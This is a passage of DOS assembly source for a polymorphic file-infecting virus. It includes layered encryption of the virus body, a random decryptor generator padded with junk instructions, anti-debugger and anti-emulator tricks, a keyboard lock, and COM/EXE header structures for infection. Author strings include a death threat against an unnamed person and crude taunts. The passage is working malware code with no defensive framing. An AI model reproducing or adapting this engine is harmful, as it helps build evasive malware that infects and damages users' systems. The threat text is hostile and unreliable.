                REP     MOVSB

                MOV     AL, Key_Fix_Layer
                MOV     CX, (OFFSET Decrypt_2 - (3 + 24))
                MOV     DI, OFFSET Buffer + (3 + 24)

Encr_Internal:  XOR     [DI], AL                ; Encrypt internal fixed
                INC     DI                      ; layer.
                LOOP    Encr_Internal

                ; ENCRYPT POLY LAYERS.

                MOV     CX, 0000h
Max_Algo        =       WORD PTR $-2

Encrypt_Layer:  PUSH    CX

                MOV     AX, CX
                DEC     AX
                MOV     BX, OFFSET Encrypt_Algo
                XLAT

                MOV     SI, OFFSET Tbl_Encryptors
                ADD     SI, AX
                ADD     SI, AX

                XCHG    DX, AX

                LODSW
                MOV     Encryptor, AX

                MOV     BX, OFFSET Decrypt_Key
                MOV     AX, CX
                DEC     AX
                XLAT

                CMP     DL, 3                   ; Algorithm requires a key?
                JB      Store_Encr_Key

                MOV     AL, 90h                 ; NOP

Store_Encr_Key: MOV     Key_Poly_Layer, AL

                JMP     $+2                     ; Clear prefetcher, else this
                                                ; shit doesn't work on 486's.

                MOV     CX, (Virus_Size - (3 + 24))
                MOV     DI, OFFSET Buffer + (3 + 24)

Encr_Poly:      XOR     BYTE PTR [DI], 00h       ; Encrypt code.
Key_Poly_Layer  =       BYTE PTR $-1
Encryptor       =       WORD PTR $-3
                INC     DI
                LOOP    Encr_Poly

                POP     CX

                LOOP    Encrypt_Layer


                MOV     SI, OFFSET Decrypt_Delta
                MOV     CX, Max_Algo

Patch_Delta:    LODSW
                XCHG    DI, AX

                MOV     AX, BP                  ; Start encrypted.
                SUB     AX, 0000h
Base_Ptr_Val    =       WORD PTR $-2

                TEST    Poly_Status, 00000001b  ; Get direction.
                JNZ     Back_Decrypt

Fore_Decrypt:   ADD     AX, (3 + 24)

                JMP     Store_Decrypt

Back_Decrypt:   ADD     AX, Virus_Size - 1

Store_Decrypt:  STOSW

                LOOP    Patch_Delta


                MOV     DI, 0000h
CMP_Val         =       WORD PTR $-2

                MOV     AX, Base_Ptr_Val

                TEST    Poly_Status, 00000001b  ; Get direction.
                JNZ     Back_CMP

                ADD     AX, Virus_Size - (3 + 24)

                JMP     aa2

Back_CMP:       SUB     AX, (Virus_Size - (3 + 24)) - 1

aa2:            STOSW

                ; Add polymorphic decryptor.

                MOV     CX, (Max_Decryptor / 2)
                MOV     SI, OFFSET Poly_Decryptor
                MOV     DI, OFFSET Buffer + Virus_Size
                CLD
                REP     MOVSW

                CALL    Pop_All

                RETN


; Initializes variables for poly engine and generates a polymorphic decryptor
; in memory.
Setup_Poly_Decryptor:

                CALL    Push_All

                MOV     Old_SS, SS
                MOV     Old_SP, SP

                PUSH    CS
                POP     SS

                MOV     SP, (Virus_Size_Mem * 16)

                AND     Max_Algo, 0

                MOV     AX, (Max_Layers - Min_Layers)
                CALL    Get_Random

                ADD     AX, Min_Layers          ; Minimal # encrypted layers.
                XCHG    CX, AX

                MOV     DI, OFFSET Encrypt_Algo

Pick_Algo:      MOV     AX, 9                   ; ADD/SUB/XOR/INC/DEC/
                CALL    Get_Random              ; NOT/NEG/ROL/ROR ?

                STOSB

                MOV     BX, Max_Algo

                IN      AL, 40h
                MOV     Decrypt_Key[BX], AL

                INC     Max_Algo

                LOOP    Pick_Algo

                ; Choose pointer-register.

                CALL    Get_Random4             ; BX/SI/DI/BP ?
                MOV     Ptr_Reg, AL

                IN      AL, 40h                 ; Get random key for internal
                MOV     Key_Fix_Layer, AL       ; fixed decryptor.

                CALL    Get_Random2             ; Pick decryption direction.
                MOV     Poly_Status, AX

Poly_Generator: XOR     AX, AX                  ; Clear CALL-IP buffer.
                MOV     CX, Max_CALL_Entry
                MOV     DI, OFFSET Tbl_CALL_Dest
                CLD
                REP     STOSW

                AND     CALLs_Made, 0

                MOV     DI, OFFSET Poly_Decryptor
                MOV     BP, 0000h
Poly_Status     =       WORD PTR $-2

                CALL    Add_Garbage

;-------------- SETUP BASE POINTER ------------------------------------------

                MOV     AL, 00h
Ptr_Reg         =       BYTE PTR $-1
                MOV     BX, OFFSET MOV_Reg16

                XLAT                            ; MOV Ptr_Reg,
                STOSB

                IN      AX, 40h                 ; Random value.
                MOV     Base_Ptr_Val, AX        ; Save base value.
                STOSW

                CALL    Add_Garbage

;-------------- DECRYPT BYTE ------------------------------------------------

                MOV     Decr_Loop, DI

                MOV     CX, Max_Algo
                XOR     DX, DX
                MOV     SI, OFFSET Encrypt_Algo

Make_Decryptor: PUSH    CX

                MOV     AL, 2Eh               ; CS:
                STOSB

                LODSB

                XOR     AH, AH
                PUSH    AX

                PUSH    SI

                XCHG    SI, AX
                ADD     SI, OFFSET Tbl_Decr_Opcode

                LODSB
                STOSB

                POP     SI

                POP     AX
                PUSH    AX

                MOV     BX, OFFSET Tbl_Crypt_Index
                XLAT

                CBW
                SHL     AX, 2                   ; MUL 4

                MOV     BX, OFFSET Ptr_Addr
                ADD     BX, AX
                MOV     AL, Ptr_Reg

                XLAT
                STOSB

                MOV     BX, OFFSET Decrypt_Delta
                ADD     BX, DX

                MOV     [BX], DI

                STOSW                           ; Dummy displacement.

                POP     AX

                CMP     AL, 2
                JA      No_Key_Needed_Decr

                MOV     AL, [SI+Max_Layers-1]   ; Store decryption-key.
                STOSB                           ; (OFFSET Decrypt_Key+index).

No_Key_Needed_Decr:

                PUSH    DX
                PUSH    SI

                CALL    Add_Garbage

                POP     SI
                POP     DX

                POP     CX

                INC     DX
                INC     DX

                LOOP    Make_Decryptor



;-------------- CHANGE POINTER REGISTER -------------------------------------

                INC     CX                      ; CX=0001h.

                TEST    Poly_Status, 00000001b  ; Get direction.
                JNZ     Backwards_Decrease

                MOV     AX, 5
                CALL    Get_Random              ; INC/ADD_8/ADD_16/
                JZ      ADD_Ptr_8               ; +SUB_8/+SUB_16 ?

                DEC     AX
                JZ      ADD_Ptr_16

                DEC     CX                      ; CX=FFFFh.
                DEC     CX

                DEC     AX
                JZ      pSUB_Ptr_8

                DEC     AX
                JZ      pSUB_Ptr_16

                CALL    Make_INC_Reg16
                JMP     Make_CMP_Boundary

ADD_Ptr_8:      CALL    Make_ADD_8_Reg16        ; (CL=01h)
                JMP     Make_CMP_Boundary

ADD_Ptr_16:     CALL    Make_ADD_16_Reg16       ; (CX=0001h)
                JMP     Make_CMP_Boundary

pSUB_Ptr_8:     CALL    Make_SUB_8_Reg16        ; (CL=FFh).
                JMP     Make_CMP_Boundary

pSUB_Ptr_16:    CALL    Make_SUB_16_Reg16       ; (CX=FFFFh).
                JMP     Make_CMP_Boundary


Backwards_Decrease:

                MOV     AX, 5
                CALL    Get_Random              ; DEC/SUB_8/SUB_16 ?
                JZ      SUB_Ptr_8               ; -ADD_8/-ADD_16 ?

                DEC     AX
                JZ      SUB_Ptr_16

                DEC     CX                      ; CX=FFFFh.
                DEC     CX

                DEC     AX
                JZ      nADD_Ptr_8

                DEC     AX
                JZ      nADD_Ptr_16

                CALL    Make_DEC_Reg16
                JMP     Make_CMP_Boundary

SUB_Ptr_8:      CALL    Make_SUB_8_Reg16
                JMP     Make_CMP_Boundary

SUB_Ptr_16:     CALL    Make_SUB_16_Reg16
                JMP     Make_CMP_Boundary

nADD_Ptr_8:     CALL    Make_ADD_8_Reg16        ; (CL=FFh).
                JMP     Make_CMP_Boundary

nADD_Ptr_16:    CALL    Make_ADD_16_Reg16       ; (CX=FFFFh).


;-------------- CHECK BOUNDARY ----------------------------------------------

Make_CMP_Boundary:

                CALL    Add_Garbage

                MOV     AL, 81h                 ; CMP Ptr_Reg,
                STOSB

                MOV     AL, Ptr_Reg
                MOV     BX, OFFSET CMP_Reg16

                XLAT
                STOSB

                MOV     CMP_Val, DI

                STOSW

;-------------- JMP ENTRY IF DECRYPTION COMPLETED ---------------------------

                MOV     AX, DI                  ; JE jmp_layer_2
                SUB     AX, OFFSET Poly_Decryptor - 4
                NEG     AX
                MOV     AH, AL
                MOV     AL, 74h
                STOSW

                CALL    Add_Garbage


;-------------- JMP DECRYPTION LOOP -----------------------------------------

                MOV     AL, 0EBh                ; JMP SHORT,
                STOSB

                MOV     AX, DI                  ; JMP decrypt.
                SUB     AX, 0000h
Decr_Loop       =       WORD PTR $-2
                NEG     AX
                DEC     AX
                STOSB

                CALL    Add_Garbage

                CMP     CALLs_Made, Min_CALL    ; Encoded enough CALLs ?
                JB      JMP_Poly_Gen

                ; Decryptor too small?

                CMP     DI, OFFSET Poly_Decryptor + Min_Decryptor
                JB      JMP_Poly_Gen

                ; Decryptor too large?

                CMP     DI, OFFSET Poly_Decryptor + Max_Decryptor
                JNA     Exit_Poly_Gen

JMP_Poly_Gen:   JMP     Poly_Generator

Exit_Poly_Gen:  MOV     AX, 0000h
Old_SS          =       WORD PTR $-2
                MOV     SS, AX
                MOV     SP, 0000h
Old_SP          =       WORD PTR $-2

                CALL    Pop_All

                RETN



                ; << *** === ROUTINES POLYMORPHIC ENGINE === *** >>

Add_Garbage:
                CALL    Get_Random2

                INC     AX                      ; Prevent zero, and light
                                                ; garbage.

                XCHG    CX, AX

Dump_It:        PUSH    CX
                CALL    Garbage_Generator
                POP     CX

                CMP     DI, OFFSET Poly_Decryptor + Max_Decryptor
                JA      Exit_Garbage

                LOOP    Dump_It
Exit_Garbage:
                RETN


Jnk_INT:
                MOV     AX, (Tbl_INTs_End - Tbl_INTs)
                MOV     BX, OFFSET Tbl_INTs
                CALL    Get_Random

                RETN

; Standard stupid one-byte instructions.
Jnk_One_Byte:
                MOV     AX, (End_Garbage_Table_1 - Garbage_Table_1)
                MOV     BX, OFFSET Garbage_Table_1
                CALL    Get_Random

                XLAT
                STOSB

                RETN


Jnk_Two_Byte:
                MOV     AX, (End_Garbage_Table_2 - Garbage_Table_2) / 2
                CALL    Get_Random

                SHL     AX, 1                   ; MUL 2

                XCHG    BX, AX

                MOV     AX, OFFSET Garbage_Table_2[BX]
                STOSW

                RETN


; Makes a MOV Reg16 (non Ptr_Reg), random #.
Jnk_MOV_Reg16:
                MOV     BX, OFFSET MOV_Reg16
                CALL    Get_Random7

                CMP     AL, Ptr_Reg             ; Don't use pointer-register.
                JE      Jnk_MOV_Reg16

                XLAT                            ; MOV Reg16,
                STOSB

                IN      AX, 40h                 ; Stupid random value.
                STOSW

                RETN

; Generates a cover-up JMP to confuse debuggers/disassemblers, inspired
; by Havoc:
;
;               CLC
;               JNC  Over_Byte
;
;               DB   0EAh    ; JMP FAR
;
; Over_Byte:
;
Cover_JMP:
                MOV     AX, 73F8h
                STOSW

                MOV     AX, 0EA01h
                STOSW

                RETN


Garbage_Generator:

                MOV     AX, 19                  ; Pick random garbageroutine.
                CALL    Get_Random
                JZ      Jnk_One_Byte

                DEC     AX
                JZ      Jnk_Two_Byte

                DEC     AX
                JZ      Jnk_MOV_Reg16

                DEC     AX
                JZ      Jnk_INC_Reg16

                DEC     AX
                JZ      Jnk_ADD_8_Reg16

                DEC     AX
                JZ      Jnk_ADD_16_Reg16

                DEC     AX
                JZ      Jnk_DEC_Reg16

                DEC     AX
                JZ      Jnk_SUB_8_Reg16

                DEC     AX
                JZ      Jnk_SUB_16_Reg16

                DEC     AX
                JZ      Jnk_Make_CMPJMP

                DEC     AX
                JZ      Jnk_PUSHPOP

                DEC     AX
                JZ      Jnk_CALL_Gap

                DEC     AX
                JZ      Jnk_CALL_Gap

                DEC     AX
                JZ      Jnk_CALL

                DEC     AX
                JZ      Jnk_CALL

                DEC     AX
                JZ      Jnk_INT_Function

                DEC     AX
                JZ      Jnk_MOV_Reg8

                DEC     AX
                JZ      Cover_JMP

                MOV     AL, 0CDh                ; INT opcode.
                STOSB

                MOV     AX, (Tbl_INTs_End - Tbl_INTs)
                MOV     BX, OFFSET Tbl_INTs
                CALL    Get_Random

                XLAT                            ; Get INT#.
                STOSB

                RETN


; Random MOV Reg8 (non Ptr_Reg), immediate.
Jnk_MOV_Reg8:
                MOV     AX, 8                   ; AL/AH/BL/BH/CL/CH/DL/DH ?
                MOV     BX, OFFSET MOV_Reg8
                CALL    Get_Random

                CMP     AL, 2                   ; Avoid BL
                JB      Do_MOV_Reg8

                CMP     AL, 3                   ; Avoid BH
                JA      Do_MOV_Reg8

                CMP     Ptr_Reg, 0              ; Ptr_Reg is BX ?
                JZ      Jnk_MOV_Reg8

Do_MOV_Reg8:    XLAT
                STOSB

                IN      AL, 40h
                STOSB

                RETN


Gen_JMP_8:

; Makes a CMP Reg8/Reg16 random.
Jnk_Make_CMPJMP:
                CALL    Get_Random3             ; Make a CMP first?
                JZ      Jnk_Make_JMP_8

                IN      AX, 40h                 ; Get semi-random#.

                AND     AL, 00000001b           ; byte/word
                OR      AL, 10000000b           ; CMP Reg8/Reg16

                OR      AH, 11111000b

                STOSW

                TEST    AL, 00000001b           ; Byte or word?

                IN      AX, 40h

                JZ      Jnk_CMP_B

                STOSB

Jnk_CMP_B:      STOSB

Jnk_Make_JMP_8: MOV     AX, (End_Tbl_JMP_8 - Tbl_JMP_8)
                MOV     BX, OFFSET Tbl_JMP_8
                CALL    Get_Random

                XLAT                            ; JMP_8 $+2
                STOSW

                PUSH    DI

                CALL    Add_Garbage

                POP     BX

                MOV     AX, DI
                SUB     AX, BX

                MOV     [BX-1], AL

                RETN

Jnk_Make_MOV:
                IN      AL, 40h

                AND     AL, 10111111b
                OR      AL, 10111000b           ; MOV Reg16
                STOSB

                IN      AX, 40h
                STOSW

Jnk_PUSHPOP:

                MOV     AX, 11
                MOV     BX, OFFSET PUSH_Reg16
                CALL    Get_Random

                PUSH    AX

                XLAT
                STOSB

                CALL    Add_Garbage

                POP     AX
                MOV     BX, OFFSET POP_Reg16

                XLAT
                STOSB

                RETN

Beast           DB      '[666h]'

; Makes a CALL backwards.
Jnk_CALL:
                MOV     AX, Max_CALL_Entry
                CALL    Get_Random

                SHL     AX, 1                   ; MUL 2

                XCHG    CX, AX

Get_Free_Offs:  MOV     SI, OFFSET Tbl_CALL_Dest
                ADD     SI, CX

                INC     CX
                INC     CX

                LODSW

                OR      AX, AX                  ; Set? Then assume valid IP.
                JNZ     Got_CALL_Offs

                CMP     CX, Max_CALL_Entry+2
                JB      Get_Free_Offs

                XOR     CX, CX
                DEC     BX
                JZ      Exit_AAA

                JMP     Get_Free_Offs

Got_CALL_Offs:  AND     WORD PTR [SI-2], 00h

                PUSH    AX

                MOV     AL, 0E8h                ; CALL
                STOSB

                POP     BX

                MOV     AX, DI
                SUB     AX, BX

                NEG     AX
                DEC     AX
                DEC     AX

                STOSW

                INC     CALLs_Made
Exit_AAA:
                RETN


; Makes a gap for future calls.
Jnk_CALL_Gap:

                MOV     AX, 00EBh               ; JMP SHORT $+2
                STOSW

                PUSH    DI

                CALL    Add_Garbage

                POP     BX

                MOV     AX, DI
                SUB     AX, BX
                INC     AX                      ; Plus RETN

                MOV     [BX-1], AL              ; Set displacement.

                MOV     SI, OFFSET Tbl_CALL_Dest

                MOV     CX, Max_CALL_Entry

Next_Call_Offs: LODSW

                OR      AX, AX
                JZ      Spot_Found

                LOOP    Next_Call_Offs

                JMP     Exit_2

Spot_Found:     MOV     [SI-2], BX

Exit_2:         MOV     AL, 0C3h                ; RETN
                STOSB

                CALL    Add_Garbage

                RETN

Jnk_INT_Function:

                CALL    Get_Random2
                JZ      INT_AX

                MOV     AX, (End_Tbl_Functions_AH - Tbl_Functions_AH) / 2
                CALL    Get_Random

                SHL     AX, 1                   ; MUL 2

                MOV     SI, OFFSET Tbl_Functions_AH
                ADD     SI, AX

                MOV     AL, 0B4h                ; MOV AH,
                STOSB

                LODSB
                STOSB

                MOV     AL, 0CDh                ; INT
                STOSB

                LODSB
                STOSB

                RETN

INT_AX:
                MOV     AX, (End_Tbl_Functions_AX - Tbl_Functions_AX) / 3
                CALL    Get_Random

                MOV     CL, 3
                MUL     CL

                MOV     SI, OFFSET Tbl_Functions_AX
                ADD     SI, AX

                MOV     AL, 0B8h                ; MOV AX, 
                STOSB

                LODSW
                STOSW

                MOV     AL, 0CDh                ; INT opcode.
                STOSB

                LODSB
                STOSB

                RETN


;----------------------------------------------------------------------------
Jnk_INC_Reg16:
                CALL    Get_Random7             ; Get random register.

                CMP     AL, Ptr_Reg
                JE      Jnk_INC_Reg16

                JMP     Store_INC

Make_INC_Reg16: MOV     AL, Ptr_Reg
Store_INC:      MOV     BX, OFFSET INC_Reg16

                XLAT
                STOSB

                RETN

;----------------------------------------------------------------------------
Jnk_ADD_8_Reg16:
                IN      AL, 40h                 ; Get random in CL.
                XCHG    CX, AX

                CALL    Get_Random7             ; Pick random register.

                CMP     AL, Ptr_Reg             ; Avoid our Ptr_Reg.
                JE      Jnk_ADD_8_Reg16

                JMP     Store_ADD_8

Make_ADD_8_Reg16:

                MOV     AL, Ptr_Reg

Store_ADD_8:    
                PUSH    AX

                MOV     AL, 83h                 ; Aritmic.
                STOSB

                POP     AX

                MOV     BX, OFFSET ADD_Reg16

                XLAT
                STOSB

                XCHG    CX, AX
                STOSB

                RETN

;----------------------------------------------------------------------------
Jnk_ADD_16_Reg16:
                IN      AX, 40h                 ; Get random in CX.
                XCHG    CX, AX

                CALL    Get_Random7             ; Pick random register.

                CMP     AL, Ptr_Reg             ; Avoid our Ptr_Reg.
                JE      Jnk_ADD_16_Reg16

                JMP     Store_ADD_16

Make_ADD_16_Reg16:
                MOV     AL, Ptr_Reg

Store_ADD_16:   PUSH    AX

                MOV     AL, 81h                 ; Aritmic.
                STOSB

                POP     AX

                MOV     BX, OFFSET ADD_Reg16

                XLAT
                STOSB

                XCHG    CX, AX
                STOSW

                RETN

;----------------------------------------------------------------------------

Jnk_DEC_Reg16:
                CALL    Get_Random7             ; Get random register.

                CMP     AL, Ptr_Reg
                JE      Jnk_DEC_Reg16

                JMP     Store_DEC

Make_DEC_Reg16: MOV     AL, Ptr_Reg
Store_DEC:      MOV     BX, OFFSET DEC_Reg16

                XLAT
                STOSB

                RETN

;----------------------------------------------------------------------------
Jnk_SUB_8_Reg16:
                IN      AL, 40h                 ; Get random in CL.
                XCHG    CX, AX

                CALL    Get_Random7             ; Pick random register.

                CMP     AL, Ptr_Reg             ; Avoid our Ptr_Reg.
                JE      Jnk_SUB_8_Reg16

                JMP     Store_SUB_8

Make_SUB_8_Reg16:

                MOV     AL, Ptr_Reg

Store_SUB_8:    PUSH    AX

                MOV     AL, 83h                 ; Aritmic.
                STOSB

                POP     AX

                MOV     BX, OFFSET SUB_Reg16

                XLAT
                STOSB

                XCHG    CX, AX
                STOSB

                RETN

;----------------------------------------------------------------------------
Jnk_SUB_16_Reg16:
                IN      AX, 40h                 ; Get random in CX.
                XCHG    CX, AX

                CALL    Get_Random7             ; Pick random register.

                CMP     AL, Ptr_Reg             ; Avoid our Ptr_Reg.
                JE      Jnk_SUB_16_Reg16

                JMP     Store_SUB_16

Make_SUB_16_Reg16:
                MOV     AL, Ptr_Reg

Store_SUB_16:   PUSH    AX

                MOV     AL, 81h                 ; Aritmic.
                STOSB

                POP     AX

                MOV     BX, OFFSET SUB_Reg16

                XLAT
                STOSB

                XCHG    CX, AX
                STOSW

                RETN



                ; Can you believe most ppl love their "dad" ?

                DB      'SuPReSSeD bY KReaToR'


                ; === TABLES OF POLYMORPH ENGINE ===

Tbl_Functions_AH:
                DB      01h, 13h        ; Get disk system status.
                DB      0Dh, 13h        ; Alternate disk reset.
                DB      10h, 13h        ; Test fixed disk system status.
                DB      0Bh, 21h        ; Check STDIN status. *
                DB      0Dh, 21h        ; Reset disk. *
                DB      19h, 21h        ; Get default drive.
                DB      4Dh, 21h        ; Get return code.
                DB      54h, 21h        ; Get verify flag.
                DB      68h, 21h        ; Flush buffer.
                DB      40h, 67h        ; Get manager state.
                DB      46h, 67h        ; Get EMM-version.
End_Tbl_Functions_AH:


Tbl_Functions_AX:
                DWB     3300h, 21h      ; Get Ctrl-Break flag.
                DWB     3305h, 21h      ; Get boot drive code.
                DWB     4300h, 21h      ; Get file-attributes.
                DWB     5700h, 21h      ; Get file date & time.
                DWB     5800h, 21h      ; Get allocation strategy.
                DWB     5802h, 21h      ; Get UMB link status.
                DWB     0100h, 2Fh      ; Get PRINT.COM status.
                DWB     0600h, 2Fh      ; Get ASSIGN.COM status.
                DWB     0800h, 2Fh      ; Get DRIVER.SYS status.
                DWB     1000h, 2Fh      ; Get SHARE.EXE status.
                DWB     1100h, 2Fh      ; Get network redirector status.
                DWB     1400h, 2Fh      ; Get NLSFUNC.COM status.
                DWB     1500h, 2Fh      ; Get CD-ROM interface status.
                DWB     1A00h, 2Fh      ; Get ANSI.SYS status.
                DWB     4300h, 2Fh      ; Get XMS-driver installed status.
                DWB     4800h, 2Fh      ; Get DOSKEY.COM status.
                DWB    0B000h, 2Fh      ; Get GRAFTABL.COM status.
                DWB    0B700h, 2Fh      ; Get APPEND.EXE status.
                DWB    0B702h, 2Fh      ; Get APPEND.EXE version.
                DWB     000Bh, 33h      ; Read motion counters.
End_Tbl_Functions_AX:


Tbl_INTs:
                DB      01h     ; Single step.
                DB      03h     ; Breakpoint.
                DB      08h     ; System timer. **
                DB      0Ah
                DB      0Bh
                DB      0Ch
                DB      0Dh     ; Harddisk management. **
                DB      0Eh     ; Floppydisk management. **
                DB      0Fh     ; Printer management. **
                DB      11h     ; Get equipment status.
                DB      12h     ; Get DOS memory size.
                DB      1Ch     ; Timer tick. **
                DB      28h     ; DOS safe to use.
                DB      2Bh
                DB      2Ch
                DB      2Dh
                DB      70h     ; Dunno, I just ripped 'em from SuckSexee.
                DB      71h
                DB      72h
                DB      73h
                DB      74h
                DB      76h     ; I/O ready.
                DB      77h
Tbl_INTs_End:   ; ** could cause inconsistency.



        ; I was a HUGE fan of Bruce Lee back in the 80's, all his
        ; movies were SO FUCKING GREAT! It's a real shame he died...

                DB      'Bruce Lee was the best...'


; Table with one-byte "dummy"-instructions.
Garbage_Table_1:
                XCHG    CX, AX
                XCHG    DX, AX
                IN      AL, DX
                IN      AX, DX
                XLAT
                LAHF
                AAA
                DAA
                AAS
                DAS
                CBW
                CWD
                INT     03h
                CLC
                STC
                CMC
                CLD
                STD
                STI
                HLT             ; Hmmm... at least I don't use CLI's.
                WAIT
                NOP
End_Garbage_Table_1:


Garbage_Table_2:
                DB      094h, 094h      ; XCHG  SP, AX / XCHG  AX, SP
                DB      044h, 04Ch      ; INC  SP / DEC  SP
                DB      023h, 0C3h      ; AND  AX, BX
                DB      00Bh, 0C3h      ; OR  AX, BX
                DB      0F7h, 0D0h      ; NOT  AX
                DB      0F7h, 0D8h      ; NEG  AX
                DB      085h, 0C2h      ; TEST  AX, DX
                DB      013h, 0D3h      ; ADC  DX, BX
                DB      01Bh, 0C1h      ; SBB  AX, CX
                DB      0E2h, 0FEh      ; LOOP  $
                DB      0E2h, 000h      ; LOOP  $+2
                DB      033h, 0C9h      ; XOR  CX, CX
                DB      0F7h, 0E1h      ; MUL  CX
                DB      0F6h, 0E2h      ; MUL  DL
                DB      02Bh, 010h      ; SUB  DX, [BX+SI]
                DB      0D1h, 0E2h      ; SHL  DX, 1
                DB      08Dh, 005h      ; LEA  AX, [DI]
End_Garbage_Table_2:


                DB      'G3T TH3 L4M3RS!'


                ; === Table of opcodes & operands. ===

;--->                    BX    SI    DI    BP    AX    CX    DX
MOV_Reg16       DB      0BBh, 0BEh, 0BFh, 0BDh, 0B8h, 0B9h, 0BAh
INC_Reg16       DB      043h, 046h, 047h, 045h, 040h, 041h, 042h
DEC_Reg16       DB      04Bh, 04Eh, 04Fh, 04Dh, 048h, 049h, 04Ah
CMP_Reg16       DB      0FBh, 0FEh, 0FFh, 0FDh, 0F8h, 0F9h, 0FAh
ADD_Reg16       DB      0C3h, 0C6h, 0C7h, 0C5h, 0C0h, 0C1h, 0C2h
SUB_Reg16       DB      0EBh, 0EEh, 0EFh, 0EDh, 0E8h, 0E9h, 0EAh

Ptr_Addr:
ADD_Ptr         DB      087h, 084h, 085h, 086h
SUB_Ptr         DB      0AFh, 0ACh, 0ADh, 0AEh
XOR_Ptr         DB      0B7h, 0B4h, 0B5h, 0B6h
INC_Ptr         DB      087h, 084h, 085h, 086h
DEC_Ptr         DB      08Fh, 08Ch, 08Dh, 08Eh
NOT_Ptr         DB      097h, 094h, 095h, 096h
NEG_Ptr         DB      09Fh, 09Ch, 09Dh, 09Eh
ROL_Ptr         DB      087h, 084h, 085h, 086h
ROR_Ptr         DB      08Fh, 08Ch, 08Dh, 08Eh


;--->                   BX   SI   DI   BP   AX   CX   DX   DS   ES   SS   FLG
PUSH_Reg16      DB      53h, 56h, 57h, 55h, 50h, 51h, 52h, 1Eh, 06h, 16h, 9Ch
POP_Reg16       DB      5Bh, 5Eh, 5Fh, 5Dh, 58h, 59h, 5Ah, 1Fh, 07h, 17h, 9Dh


;--->                    AL    AH    BL    BH    CL    CH    DL    DH
MOV_Reg8        DB      0B0h, 0B4h, 0B3h, 0B7h, 0B1h, 0B5h, 0B2h, 0B6h


     ; Dedicated to a certain asshole, who uses the law 2 bring me down...

                DB      'Prepare to die...'
                DB      'Your time has come, '
                DB      'I WILL KILL YOU!'


; 8-Bit displacement JMPs.

Tbl_JMP_8:
                DB      0EBh    ; JMP SHORT
                DB      074h
                DB      07Ch
                DB      07Eh
                DB      072h
                DB      076h
                DB      07Ah
                DB      070h
                DB      078h
                DB      075h
                DB      07Dh
                DB      07Fh
                DB      073h
                DB      077h
                DB      07Bh
                DB      071h
                DB      079h
End_Tbl_JMP_8:


Tbl_Crypt_Index DB      1       ; Decrypt ADD-encryption with SUB.
                DB      0       ; Decrypt SUB-encryption with ADD.
                DB      2       ; Decrypt XOR-encryption with XOR.
                DB      4       ; Decrypt INC-encryption with DEC.
                DB      3       ; Decrypt DEC-encryption with INC.
                DB      5       ; Decrypt NOT-encryption with NOT.
                DB      6       ; Decrypt NEG-encryption with NEG.
                DB      8       ; Decrypt ROL-encryption with ROR.
                DB      7       ; Decrypt ROR-encryption with ROL.

Tbl_Encryptors  DW      0580h   ; ADD
                DW      2D80h   ; SUB
                DW      3580h   ; XOR
                DW      05FEh   ; INC
                DW      0DFEh   ; DEC
                DW      15F6h   ; NOT
                DW      1DF6h   ; NEG
                DW      05D0h   ; ROL
                DW      0DD0h   ; ROR


Tbl_Decr_Opcode DB      080h    ;
                DB      080h
                DB      080h
                DB      0FEh
                DB      0FEh
                DB      0F6h
                DB      0F6h
                DB      0D0h
                DB      0D0h


JMP_Start_File: JMP     Start_File


                DB      'Greets to the CCC!'

Decrypt_2:
                PUSH    AX
                PUSH    BX                      ; Save most registers.
                PUSH    CX
                PUSH    DX
                PUSH    BP
                PUSH    DI
                PUSH    DS
                PUSH    ES

                PUSH    CS
                POP     DS

                CALL    Get_Delta               ; Get our delta-offset.
Get_Delta:      POP     SI
                SUB     SI, OFFSET Get_Delta

                MOV     AX, 3D00h               ; Open non-existing file.
                MOV     DX, SI
                INT     21h                     ; Emulators never return
                JC      Emulator_Dead           ; errors.

                MOV     AX, 4C00h               ; Exit to DOS.
                INT     21h

Emulator_Dead:  IN      AL, 21h                 ; Lock keyboard.
                OR      AL, 00000010b
                OUT     21h, AL

        ; Backwards encryption, prevents lamers from setting breakpoints.

                MOV     BX, (3 + 24)            ; After stored header.

Decrypt_File:   XOR     BYTE PTR [SI+BX], 00h
Key_Fix_Layer   =       BYTE PTR $-1
                INC     BX

                CMP     BX, OFFSET Decrypt_2
                JE      JMP_Start_File

                JMP     Decrypt_File

START:

JMP_Decrypt_2:  JMP     Decrypt_2

Virus_End:      ; *** ENTRYPOINT OF INFECTED FILES ***


CALLs_Made      DW      0
Return_Address  DW      0
i24h            DW      0, 0
Int13h_AH       DB      0

Encrypt_Algo    DB      Max_Layers DUP(0)
Decrypt_Key     DB      Max_Layers DUP(0)
Decrypt_Delta   DW      Max_Layers DUP(0)
Tbl_CALL_Dest   DW      Max_CALL_Entry DUP(0)
Dir_Path        DB      128 DUP(0)
Poly_Decryptor  DB      Max_Decryptor DUP(0)

Header          DB      26 DUP(0)

Buffer          DB      512 DUP(0)


;-------------- Structures --------------------------------------------------


COM_Header      STRUC
Jump            DB      0
Displacement    DW      0
COM_Header      ENDS


EXE_Header      STRUC
EXE_Mark        DW      0       ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512   DW      0
Image_512_Pages DW      0
Reloc_Items     DW      0
Headersize_Para DW      0
Min_Mem_Para    DW      0
Max_Mem_Para    DW      0
Program_SS      DW      0
Program_SP      DW      0
Checksum        DW      0
Program_IP      DW      0
Program_CS      DW      0
Offs_RelocTable DW      0
Overlay_Number  DW      0
Undocumented    DW      0
Unused          DW      0
EXE_Header      ENDS


FindFirstHandle STRUC
Handle_Reserved DB      21 DUP(0)
Handle_Attr     DB      0
Handle_Time     DW      0
Handle_Date     DW      0
Handle_Size     DD      0
Handle_Name     DB      13 DUP(0)
FindFirstHandle ENDS


FindFirst_FCB   STRUC
FCB_Drive       DB      0
FCB_Name        DB      8 DUP(0)
FCB_Ext         DB      3 DUP(0)
FCB_Attr        DB      0
FCB_Reserved    DB      10 DUP(0)
FCB_Time        DW      0
FCB_Date        DW      0
FCB_Start_Clust DW      0
FCB_Size        DD      0
FindFirst_FCB   ENDS


Push_All_Stack  STRUC
Reg_ES          DW      0
Reg_DS          DW      0
Reg_DI          DW      0
Reg_SI          DW      0
Reg_BP          DW      0
Reg_DX          DW      0
Reg_CX          DW      0
Reg_BX          DW      0
Reg_AX          DW      0
Reg_Flags       DW      0
Reg_Ret_Addr    DW      0
Push_All_Stack  ENDS


Bootsector      STRUC
bs_Jump         DB      3 DUP(0)
bs_OEM_Name     DB      8 DUP(0)
bs_Bytes_Sector DW      0
bs_Sectors_Unit DB      0
bs_Reserved_Sec DW      0
bs_FAT_Copies   DB      0
bs_Root_Entries DW      0
bs_Num_Sectors  DW      0
bs_Descriptor   DB      0
bs_Sectors_FAT  DW      0
